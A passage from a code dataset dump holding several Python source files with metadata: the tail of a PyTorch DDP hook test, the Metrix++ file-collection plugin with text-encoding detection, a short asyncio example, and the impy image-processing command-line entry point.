``quantize per channel`` hook registered case\n gives close result with no hook registered case.\n \"\"\"\n store = c10d.FileStore(self.file_name, self.world_size)\n process_group = c10d.ProcessGroupNCCL(store, self.rank, self.world_size)\n\n # No hook registered case, get the reference grads.\n reference_grads = self._get_grads(process_group, None)\n # Register hook case, get the hook grads.\n hook_grads = self._get_grads(\n process_group, DDPCommHookType.QUANTIZE_PER_CHANNEL\n )\n\n np.testing.assert_allclose(hook_grads, reference_grads, rtol=1e-5, atol=1e-4)\n\n\nif __name__ == \"__main__\":\n assert (\n not torch.cuda._initialized\n ), \"test_distributed must not have initialized CUDA context on main process\"\n\n run_tests()\n", "repo_name": "snuspl/nimble", "sub_path": "test/distributed/algorithms/ddp_comm_hooks/test_ddp_hooks.py", "file_name": "test_ddp_hooks.py", "file_ext": "py", "file_size_in_byte": 5837, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 248, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.cuda.device_count", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 23, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.manual_seed", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 43, "usage_type": "name"}, {"api_name": "torch.testing._internal.common_distributed.MultiProcessTestCase", "line_number": 52, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.register_ddp_comm_hook", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.distributed.FileStore", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.distributed.ProcessGroupNCCL", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 108, "usage_type": "name"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType.ALLREDUCE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType", "line_number": 113, "usage_type": "name"}, {"api_name": "numpy.testing.assert_allclose", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 115, "usage_type": "attribute"}, {"api_name": "torch.testing._internal.common_distributed.requires_nccl", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_lt_x_gpu", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_rocm", "line_number": 101, "usage_type": "name"}, {"api_name": "torch.distributed.FileStore", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.distributed.ProcessGroupNCCL", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 126, "usage_type": "name"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType.FP16_COMPRESS", "line_number": 131, "usage_type": "attribute"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.testing.assert_allclose", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 133, "usage_type": "attribute"}, {"api_name": "torch.testing._internal.common_distributed.requires_nccl", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_lt_x_gpu", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_rocm", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.distributed.FileStore", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 143, "usage_type": "name"}, {"api_name": "torch.distributed.ProcessGroupNCCL", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 144, "usage_type": "name"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType.QUANTIZE_PER_TENSOR", "line_number": 149, "usage_type": "attribute"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.testing.assert_allclose", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 151, "usage_type": "attribute"}, {"api_name": "torch.testing._internal.common_distributed.requires_nccl", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_lt_x_gpu", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_rocm", "line_number": 137, "usage_type": "name"}, {"api_name": "torch.distributed.FileStore", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 161, "usage_type": "name"}, {"api_name": "torch.distributed.ProcessGroupNCCL", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType.QUANTIZE_PER_CHANNEL", "line_number": 168, "usage_type": "attribute"}, {"api_name": "torch.distributed.algorithms.ddp_comm_hooks.DDPCommHookType", "line_number": 168, "usage_type": "name"}, {"api_name": "numpy.testing.assert_allclose", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 171, "usage_type": "attribute"}, {"api_name": "torch.testing._internal.common_distributed.requires_nccl", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_lt_x_gpu", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.testing._internal.common_distributed.skip_if_rocm", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.cuda", "line_number": 176, "usage_type": "attribute"}, {"api_name": "torch.testing._internal.common_utils.run_tests", "line_number": 179, "usage_type": "call"}]} +{"seq_id": "16931784966", "text": "#\r\n# Metrix++, Copyright 2009-2019, Metrix++ Project\r\n# Link: https://github.com/metrixplusplus/metrixplusplus\r\n#\r\n# This file is a part of Metrix++ Tool.\r\n#\r\n\r\n\r\nfrom metrixpp.mpp import api\r\n\r\nimport re\r\nimport os\r\nimport sys\r\nimport logging\r\nimport time\r\nimport binascii\r\nimport fnmatch\r\nimport multiprocessing.pool\r\n\r\nclass Plugin(api.Plugin, api.Parent, api.IConfigurable, api.IRunable):\r\n\r\n def __init__(self):\r\n self.reader = DirectoryReader()\r\n self.include_rules = []\r\n self.exclude_rules = []\r\n self.exclude_files = []\r\n self.parsers = []\r\n super(Plugin, self).__init__()\r\n\r\n def declare_configuration(self, parser):\r\n parser.add_option(\"--std.general.proctime\", \"--sgpt\", action=\"store_true\", default=False,\r\n help=\"If the option is set (True), the tool measures processing time per file [default: %default]\")\r\n parser.add_option(\"--std.general.procerrors\", \"--sgpe\", action=\"store_true\", default=False,\r\n help=\"If the option is set (True), the tool counts number of processing/parsing errors per file [default: %default]\")\r\n parser.add_option(\"--std.general.size\", \"--sgs\", action=\"store_true\", default=False,\r\n help=\"If the option is set (True), the tool collects file size metric (in bytes) [default: %default]\")\r\n parser.add_option(\"--include-files\", \"--if\", action='append',\r\n help=\"Adds a regular expression pattern to include files in processing (files have to match any rule to be included)\")\r\n parser.add_option(\"--exclude-files\", \"--ef\", action='append',\r\n help=\"Adds a regular expression pattern to exclude files or directories from processing\")\r\n parser.add_option(\"--non-recursively\", \"--nr\", action=\"store_true\", default=False,\r\n help=\"If the option is set (True), sub-directories are not processed [default: %default]\")\r\n self.optparser = parser\r\n\r\n def configure(self, options):\r\n self.is_proctime_enabled = options.__dict__['std.general.proctime']\r\n self.is_procerrors_enabled = options.__dict__['std.general.procerrors']\r\n self.is_size_enabled = options.__dict__['std.general.size']\r\n # check if any include rule is given\r\n if options.__dict__['include_files']:\r\n try:\r\n for include_rule in options.__dict__['include_files']:\r\n self.add_include_rule(re.compile(include_rule))\r\n except Exception as e:\r\n self.optparser.error(\"option --include-files: \" + str(e))\r\n else:\r\n self.add_include_rule(re.compile(r'.*'))\r\n\r\n # check if any exclude rule is given\r\n if options.__dict__['exclude_files']:\r\n try:\r\n for exclude_rule in options.__dict__['exclude_files']:\r\n self.add_exclude_rule(re.compile(exclude_rule))\r\n except Exception as e:\r\n self.optparser.error(\"option --exclude-files: \" + str(e))\r\n else:\r\n self.add_exclude_rule(re.compile(r'^[.]'))\r\n self.non_recursively = options.__dict__['non_recursively']\r\n\r\n def initialize(self):\r\n fields = []\r\n if self.is_proctime_enabled == True:\r\n fields.append(self.Field('proctime', float))\r\n if self.is_procerrors_enabled == True:\r\n fields.append(self.Field('procerrors', int))\r\n if self.is_size_enabled == True:\r\n fields.append(self.Field('size', int))\r\n super(Plugin, self).initialize(namespace='std.general', support_regions=False, fields=fields)\r\n self.add_exclude_file(self.get_plugin('metrixpp.mpp.dbf').get_dbfile_path())\r\n self.add_exclude_file(self.get_plugin('metrixpp.mpp.dbf').get_dbfile_prev_path())\r\n\r\n def run(self, args):\r\n if len(args) == 0:\r\n return self.reader.run(self, \"./\")\r\n retcode = 0\r\n for directory in args:\r\n retcode += self.reader.run(self, directory)\r\n return retcode\r\n\r\n def register_parser(self, fnmatch_exp_list, parser):\r\n self.parsers.append((fnmatch_exp_list, parser))\r\n\r\n def get_parser(self, file_path):\r\n for parser in self.parsers:\r\n for fnmatch_exp in parser[0]:\r\n if fnmatch.fnmatch(file_path, fnmatch_exp):\r\n return parser[1]\r\n return None\r\n\r\n def add_include_rule(self, re_compiled_pattern):\r\n self.include_rules.append(re_compiled_pattern)\r\n\r\n def add_exclude_rule(self, re_compiled_pattern):\r\n self.exclude_rules.append(re_compiled_pattern)\r\n\r\n def add_exclude_file(self, file_path):\r\n if file_path == None:\r\n return\r\n self.exclude_files.append(file_path)\r\n\r\n def is_file_excluded(self, file_name):\r\n # only apply the include rules to files - skip directories\r\n if os.path.isfile(file_name):\r\n for each in self.include_rules:\r\n if re.match(each, os.path.basename(file_name)) != None:\r\n break;\r\n # file is excluded if no include rule matches\r\n else:\r\n return True\r\n # check exclude rules for both, files and directories\r\n for each in self.exclude_rules:\r\n if re.match(each, os.path.basename(file_name)) != None:\r\n return True\r\n # finally check if a file is excluded directly\r\n for each in self.exclude_files:\r\n if os.path.basename(each) == os.path.basename(file_name):\r\n if os.stat(each) == os.stat(file_name):\r\n return True\r\n return False\r\n\r\nclass DirectoryReader():\r\n\r\n def readtextfile(self,filename):\r\n \"\"\" Read a text file and try to detect the coding\r\n\r\n Since we examine program code text files we can assume the following:\r\n - There are no NUL characters, i.e. no 0x00 sequences of 1, 2 or 4\r\n byte, starting on 1, 2 or 4 byte boundaries (depending on\r\n 1, 2 or 4 byte coding)\r\n - There should at least one space (ASCII 0x20) char\r\n of the respective length (1,2 or 4 byte))\r\n - Program code consists of only ASCII chars, i.e. code < 128\r\n - Non ASCII chars should appear in string literals and comments only\r\n\r\n Though especially in the case of an 8 bit coding it does not matter\r\n which code page to use: Metric analysis is done on program code\r\n which is pure ASCII; string literals and comments are only recognized\r\n as such but not interpreted, though it doesn't matter if they contain\r\n non-ASCII chars whichever code page is used.\r\n\r\n Note the decoder's different behavior for the \"utf_nn\" identifiers:\r\n - .decode(\"utf_32\") / .decode(\"utf_16\"): preceding BOM is skipped\r\n - with suffix \".._be\" or \".._le\" respectively: preceding BOM is preserved\r\n but\r\n - .decode(\"utf_8\"): preceding BOM is preserved\r\n - .decode(\"utf_8_sig\"): preceding BOM is skipped\r\n \"\"\"\r\n # Methods to check for various UTF variants without BOM:\r\n # Since UTF16/32 codings are recommended to use a BOM these methods\r\n # shouldn't be necessary but may be useful in certain cases.\r\n def checkforUTF32_BE(a):\r\n if ( (len(a) % 4) != 0 ): return False\r\n n = a.find(b'\\x00\\x00\\x00\\x20')\r\n return (n >= 0) and ((n % 4) == 0)\r\n def checkforUTF32_LE(a):\r\n if ( (len(a) % 4) != 0 ): return False\r\n n = a.find(b'\\x20\\x00\\x00\\x00')\r\n return (n >= 0) and ((n % 4) == 0)\r\n def checkforUTF16_BE(a):\r\n if ( (len(a) % 2) != 0 ): return False\r\n n = a.find(b'\\x00\\x20')\r\n return (n >= 0) and ((n % 2) == 0)\r\n def checkforUTF16_LE(a):\r\n if ( (len(a) % 2) != 0 ): return False\r\n n = a.find(b'\\x20\\x00')\r\n return (n >= 0) and ((n % 2) == 0)\r\n\r\n # Method to check for UTF8 without BOM:\r\n # \"a\" is the textfile represented as a simple byte array!\r\n # Find first char with code > 127:\r\n #\r\n # 1 nothing found: all bytes 0..127; in this case \"a\" only consists\r\n # of ASCII chars but this may also be treated as valid UTF8 coding\r\n #\r\n # 2 Code is a valid UTF8 leading byte: 176..271\r\n # then check subsequent bytes to be UTF8 extension bytes: 128..175\r\n # Does also do some additional plausibility checks:\r\n # If a valid UTF8 byte sequence is found\r\n # - the subsequent byte (after the UTF8 sequence) must be an ASCII\r\n # - or another UTF8 leading byte (in the latter case we assume that there\r\n # are following the appropriate number of UTF8 extension bytes..)\r\n # Note that these checks don't guarantee the text is really UTF8 encoded:\r\n # If a valid UTF8 sequence is found but in fact the text is some sort\r\n # of 8 bit OEM coding this may be coincidentally a sequence of 8 bit\r\n # OEM chars. This indeed seems very unlikely but may happen...\r\n # Even though the whole text would examined for UTF8 sequences: every\r\n # valid UTF8 sequence found may also be a sequence of OEM chars!\r\n #\r\n # 3 Code is not a valid UTF8 leading byte: 128..175 or 272..255\r\n # In this case coding is some sort of 8 bit OEM coding. Since we don't\r\n # know the OEM code page the file was written with, we assume \"latin_1\"\r\n # (is mostly the same as ANSI but \"ansi\" isn't available on Python 2)\r\n #\r\n # return suggested text coding: \"ascii\",\"utf_8\" or \"latin_1\" (resp. default)\r\n def checkforUTF8(a,default=\"latin_1\"):\r\n\r\n # Since \"a\" is a string array on Python 2 we use a special ORD function:\r\n # Convert c to its byte representation if it is a character\r\n # Works for Python 2+3\r\n def ORD(c): return ord(c) if (type(c) == str) else c\r\n\r\n L = len(a)\r\n n = 0\r\n while ( (n < L) and (ORD(a[n]) < 128) ): # (a[n] < ExtASCII) ):\r\n n = n+1\r\n if ( n >= L ): # all chars < 128: ASCII coding\r\n return \"ascii\" # but may also be treated as UTF8!\r\n w = a[n]\r\n\r\n # UTF8 two byte sequence: leading byte + 1 extension byte\r\n if ORD(w) in range(192,224):\r\n if ( (n+1 < L)\r\n and (ORD(a[n+1]) in range(128,192)) # valid UTF8 extension byte\r\n ):\r\n if ((n+2 == L) # w is last character\r\n or (ORD(a[n+2]) < 128) # or next byte is an ASCII char\r\n or (ORD(a[n+2]) in range(192,244)) # or next byte is an UTF8 leading byte\r\n ):\r\n return \"utf_8\"\r\n return default\r\n\r\n # UTF8 three byte sequence: leading byte + 2 extension bytes\r\n if ORD(w) in range(224,240):\r\n if ( (n+2 < L)\r\n and (ORD(a[n+1]) in range(128,192)) # 2 valid UTF8 extension bytes\r\n and (ORD(a[n+2]) in range(128,192))\r\n ):\r\n if ((n+3 == L) # w is last character\r\n or (ORD(a[n+3]) < 128) # or next byte is ASCII char\r\n or (ORD(a[n+3]) in range(192,244)) # or next byte is UTF8 leading byte\r\n ):\r\n return \"utf_8\"\r\n return default\r\n\r\n # UTF8 four byte sequence: leading byte + 3 extension bytes\r\n if ORD(w) in range(240,244):\r\n if ( (n+3 < L)\r\n and (ORD(a[n+1]) in range(128,192)) # 3 valid UTF8 extension bytes\r\n and (ORD(a[n+2]) in range(128,192))\r\n and (ORD(a[n+3]) in range(128,192))\r\n ):\r\n if ((n+4 == L) # w is last character\r\n or (ORD(a[n+4]) < 128) # or next byte is ASCII char\r\n or (ORD(a[n+4]) in range(192,244)) # or next byte is UTF8 leading byte\r\n ):\r\n return \"utf_8\"\r\n return default\r\n\r\n # no valid UTF8 byte sequence:\r\n return default;\r\n # end of checkforUTF8 ------------------------------------------------\r\n\r\n # ----------------------------------------------------------------------\r\n # Subroutine readtextfile\r\n # open as binary and try to guess the encoding\r\n # attention:\r\n # - Phyton 3: \"a\" is a binary array\r\n # - Python 2: \"a\" is string array!\r\n # ----------------------------------------------------------------------\r\n f = open(filename, 'rb');\r\n a = f.read();\r\n f.close()\r\n\r\n # check for codings with BOM:\r\n # Consider the order: Check for UTF32 first!\r\n if (a.startswith(b'\\xff\\xfe\\x00\\x00')\r\n or a.startswith(b'\\x00\\x00\\xfe\\xff')):\r\n coding = \"utf_32\" # no suffix _be/_le --> decoder skips the BOM\r\n elif (a.startswith(b'\\xff\\xfe')\r\n or a.startswith(b'\\xfe\\xff')):\r\n coding = \"utf_16\" # no suffix _be/_le --> decoder skips the BOM\r\n elif a.startswith(b'\\xef\\xbb\\xbf'):\r\n coding = \"utf_8_sig\"\r\n\r\n # elif: there are some other codings with BOM - feel free to add them here\r\n\r\n # check for UTF variants without BOM:\r\n # Consider the order: Check for UTF32 first!\r\n elif checkforUTF32_BE(a):\r\n coding = \"utf_32_be\"\r\n elif checkforUTF32_LE(a):\r\n coding = \"utf_32_le\"\r\n elif checkforUTF16_BE(a):\r\n coding = \"utf_16_be\"\r\n elif checkforUTF16_LE(a):\r\n coding = \"utf_16_le\"\r\n\r\n # So finally we only have to look for UTF8 without BOM:\r\n else:\r\n coding = checkforUTF8(a)\r\n\r\n # decode to text with found coding; since our guess may be wrong\r\n # we replace unknown chars to avoid errors. Cause we examine program code\r\n # files (i.e. true program code should only consist of ASCII chars) these\r\n # replacements only should affect string literals and comments and should\r\n # have no effect on metric analysis.\r\n text = a.decode(coding,'replace')\r\n\r\n # Finally replace possible line break variants with \\n:\r\n # todo: replace with a regex\r\n text = text.replace(\"\\r\\n\",\"\\n\")\r\n text = text.replace(\"\\r\",\"\\n\")\r\n\r\n return text\r\n\r\n # end of readtextfile --------------------------------------------------\r\n\r\n def run(self, plugin, directory):\r\n\r\n IS_TEST_MODE = False\r\n if 'METRIXPLUSPLUS_TEST_MODE' in list(os.environ.keys()):\r\n IS_TEST_MODE = True\r\n\r\n def run_per_file(plugin, fname, full_path):\r\n exit_code = 0\r\n norm_path = re.sub(r'''[\\\\]''', \"/\", full_path)\r\n if os.path.isabs(norm_path) == False and norm_path.startswith('./') == False:\r\n norm_path = './' + norm_path\r\n if plugin.is_file_excluded(norm_path) == False:\r\n if os.path.isdir(full_path):\r\n if plugin.non_recursively == False:\r\n exit_code += run_recursively(plugin, full_path)\r\n else:\r\n parser = plugin.get_parser(full_path)\r\n if parser == None:\r\n logging.info(\"Skipping: \" + norm_path)\r\n else:\r\n logging.info(\"Processing: \" + norm_path)\r\n ts = time.time()\r\n\r\n text = self.readtextfile(full_path)\r\n #text = self.readfile_org(full_path)\r\n checksum = binascii.crc32(text.encode('utf8')) & 0xffffffff # to match python 3\r\n\r\n db_loader = plugin.get_plugin('metrixpp.mpp.dbf').get_loader()\r\n (data, is_updated) = db_loader.create_file_data(norm_path, checksum, text)\r\n procerrors = parser.process(plugin, data, is_updated)\r\n if plugin.is_proctime_enabled == True:\r\n data.set_data('std.general', 'proctime',\r\n (time.time() - ts) if IS_TEST_MODE == False else 0.01)\r\n if plugin.is_procerrors_enabled == True and procerrors != None and procerrors != 0:\r\n data.set_data('std.general', 'procerrors', procerrors)\r\n if plugin.is_size_enabled == True:\r\n data.set_data('std.general', 'size', len(text))\r\n db_loader.save_file_data(data)\r\n #logging.debug(\"-\" * 60)\r\n exit_code += procerrors\r\n else:\r\n logging.info(\"Excluding: \" + norm_path)\r\n return exit_code\r\n\r\n\r\n #thread_pool = multiprocessing.pool.ThreadPool()\r\n #def mp_worker(args):\r\n # run_per_file(args[0], args[1], args[2])\r\n def run_recursively(plugin, directory):\r\n exit_code = 0\r\n #thread_pool.map(mp_worker,\r\n # [(plugin, f, os.path.join(subdir, f))\r\n # for subdir, dirs, files in os.walk(directory) for f in files])\r\n for fname in sorted(os.listdir(directory)):\r\n full_path = os.path.join(directory, fname)\r\n exit_code += run_per_file(plugin, fname, full_path)\r\n\r\n return exit_code\r\n\r\n if os.path.exists(directory) == False:\r\n logging.error(\"Skipping (does not exist): \" + directory)\r\n return 1\r\n\r\n if os.path.isdir(directory):\r\n total_errors = run_recursively(plugin, directory)\r\n else:\r\n total_errors = run_per_file(plugin, os.path.basename(directory), directory)\r\n total_errors = total_errors # used, warnings are per file if not zero\r\n return 0 # ignore errors, collection is successful anyway\r\n", "repo_name": "metrixplusplus/metrixplusplus", "sub_path": "metrixpp/ext/std/tools/collect.py", "file_name": "collect.py", "file_ext": "py", "file_size_in_byte": 18353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 68, "dataset": "github-code", "pt": "86", "api": [{"api_name": "metrixpp.mpp.api.Plugin", "line_number": 20, "usage_type": "attribute"}, {"api_name": "metrixpp.mpp.api", "line_number": 20, "usage_type": "name"}, {"api_name": "metrixpp.mpp.api.Parent", "line_number": 20, "usage_type": "attribute"}, {"api_name": "metrixpp.mpp.api.IConfigurable", "line_number": 20, "usage_type": "attribute"}, {"api_name": "metrixpp.mpp.api.IRunable", "line_number": 20, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 53, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 57, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 63, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 67, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.stat", "line_number": 127, "usage_type": "call"}, {"api_name": "os.environ.keys", "line_number": 321, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 321, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path.isabs", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path", "line_number": 327, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 330, "usage_type": "call"}, {"api_name": "os.path", "line_number": 330, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 336, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 338, "usage_type": "call"}, {"api_name": "time.time", "line_number": 339, "usage_type": "call"}, {"api_name": "binascii.crc32", "line_number": 343, "usage_type": "call"}, {"api_name": "time.time", "line_number": 350, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 359, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 372, "usage_type": "call"}, {"api_name": "os.path", "line_number": 372, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 377, "usage_type": "call"}, {"api_name": "os.path", "line_number": 377, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 378, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 381, "usage_type": "call"}, {"api_name": "os.path", "line_number": 381, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path", "line_number": 384, "usage_type": "attribute"}]} +{"seq_id": "35067329134", "text": "import asyncio \n\n\nasync def func():\n print('hello world.') \n\nresult = func() # func()内部代码不会执行\n\n# 生成事件循环\nloop = asyncio.get_event_loop() \n\n# 将任务放到任务列表中\nloop.run_until_complete(result)\n\n\n", "repo_name": "TalentBoy2333/python_study", "sub_path": "asyncio/timewhile.py", "file_name": "timewhile.py", "file_ext": "py", "file_size_in_byte": 236, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "asyncio.get_event_loop", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "41959512745", "text": "from __future__ import annotations\nimport argparse\nimport inspect\nfrom typing import Any\nfrom pathlib import Path\nimport ast\nimport sys\n\nimport impy as ip\n\n\ndef _open_ipython(path, unknown):\n import IPython as ipy\n user_ns = {\"ip\": ip}\n if path is None and unknown:\n # the first argument is --input\n path, *unknown = unknown\n \n if path is not None:\n img = ip.imread(path)\n user_ns[\"img\"] = img\n \n # sys.argv should be hidden from Ipython, otherwise it will raise unnecessary error.\n sys.argv = sys.argv[:1]\n ipy.start_ipython(user_ns=user_ns)\n\n\ndef _open_napari(path, unknown):\n import napari\n \n if path is None and unknown:\n # the first argument is --input\n path, *unknown = unknown\n sys.argv = sys.argv[:1]\n user_ns = {\"ip\": ip}\n if path is not None:\n img = ip.imread(path)\n user_ns[\"img\"] = img\n \n ip.gui.start()\n if path is not None:\n ip.gui.add(img)\n ip.gui.viewer.window._qt_viewer.console.push(user_ns)\n sys.exit(napari.run(gui_exceptions=True))\n\n\ndef _eval_arg(key: str, value: str, sig: inspect.Signature):\n try:\n annot = sig.parameters[key].annotation\n except KeyError:\n _args = [f\"--{k}\" for k in sig.parameters.keys()]\n raise TypeError(\n f\"Method got an unexpected keyword argument {key}. Allowed arguments are:\\n\"\n f\"{', '.join(_args)}\"\n )\n if annot in (str, \"str\"):\n return value\n else:\n return ast.literal_eval(value)\n\n\ndef _apply_function(path: str = None, \n save_path: str = None, \n fname: str = None, \n unknown: list[str] = []):\n unknown = unknown.copy()\n cls_method = getattr(ip.ImgArray, fname)\n sig = inspect.signature(cls_method)\n \n if unknown and path is None:\n # the first argument is --input\n path, *unknown = unknown\n if unknown and save_path is None:\n save_path, *unknown = unknown\n path = Path(path).resolve()\n save_path = Path(save_path).resolve()\n _vars = zip([\"input path\", \"output path\", \"method name\"], [path, save_path, fname])\n missing = set([s_ for s_, a in _vars if a is None])\n if missing:\n raise TypeError(\n f\"Input path, output path and method name must be given but {', '.join(missing)} is missing.\\n\"\n \"Basic Usage:\\n\"\n \" $ impy some/input/path.tif some/output/path.tif -f method_name\\n\"\n \" $ impy -I some/input/path.tif -O some/output/path.tif -f method_name\\n\"\n \" $ impy --input some/input/path.tif --output some/output/path.tif --method method_name\\n\"\n \" $ impy some/input/path.tif some/output/path.tif --method gaussian_filter --sigma 2.0\\n\"\n )\n \n # process unknown arguments\n args: list[Any] = []\n kwargs: dict[str, Any] = {}\n \n i = 0\n length = len(unknown)\n while i < length:\n a = unknown[i]\n if not a.startswith(\"-\"):\n if kwargs:\n raise TypeError(\"keyword arguments came after positional arguments.\")\n args.append(ast.literal_eval(a))\n else:\n i += 1\n key = a.lstrip(\"-\")\n v = _eval_arg(key, unknown[i], sig)\n kwargs[key] = v\n i += 1\n \n s = \", \".join([f\"{a!r}\" for a in args] + [f\"{k}={v!r}\" for k, v in kwargs.items()])\n expr = (\n \" >>> import impy as ip\\n\"\n f\" >>> img = ip.imread({str(path)!r})\\n\"\n f\" >>> out = img.{fname}({s})\\n\"\n f\" >>> out.imsave({str(save_path)!r})\\n\"\n )\n print(f\"\\nRunning following code:\\n\\n{expr}\")\n img = ip.imread(path)\n out: ip.ImgArray = getattr(img, fname)(*args, **kwargs)\n out.imsave(save_path)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Command line interface of impy.\")\n\n parser.add_argument(\"--input\", help=\"Path to input image.\")\n parser.add_argument(\"--output\", help=\"Path to output image (don't have to exist).\")\n parser.add_argument(\"-i\", \"--ipython\", help=\"Open IPython with namespace 'ip' and 'img'.\", action=\"store_true\")\n parser.add_argument(\"-m\", \"--method\", help=\"Method that will be applied to the input image.\")\n parser.add_argument(\"-n\", \"--napari\", help=\"Open a napari viewer with namespace 'ip' and 'img'.\", action=\"store_true\")\n parser.add_argument(\"-v\", \"--version\", action=\"version\", version=f\"impy version {ip.__version__}\")\n \n args, unknown = parser.parse_known_args()\n \n if args.ipython:\n _open_ipython(args.input, unknown)\n elif args.napari:\n _open_napari(args.input, unknown)\n elif args.method is not None:\n _apply_function(args.input, args.output, args.method, unknown)\n else:\n raise RuntimeError\n\nif __name__ == \"__main__\":\n main()", "repo_name": "hanjinliu/impy", "sub_path": "impy/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 4832, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "86", "api": [{"api_name": "impy.imread", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 24, "usage_type": "attribute"}, {"api_name": "IPython.start_ipython", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "impy.imread", "line_number": 37, "usage_type": "call"}, {"api_name": "impy.gui.start", "line_number": 40, "usage_type": "call"}, {"api_name": "impy.gui", "line_number": 40, "usage_type": "attribute"}, {"api_name": "impy.gui.add", "line_number": 42, "usage_type": "call"}, {"api_name": "impy.gui", "line_number": 42, "usage_type": "attribute"}, {"api_name": "impy.gui.viewer.window._qt_viewer.console.push", 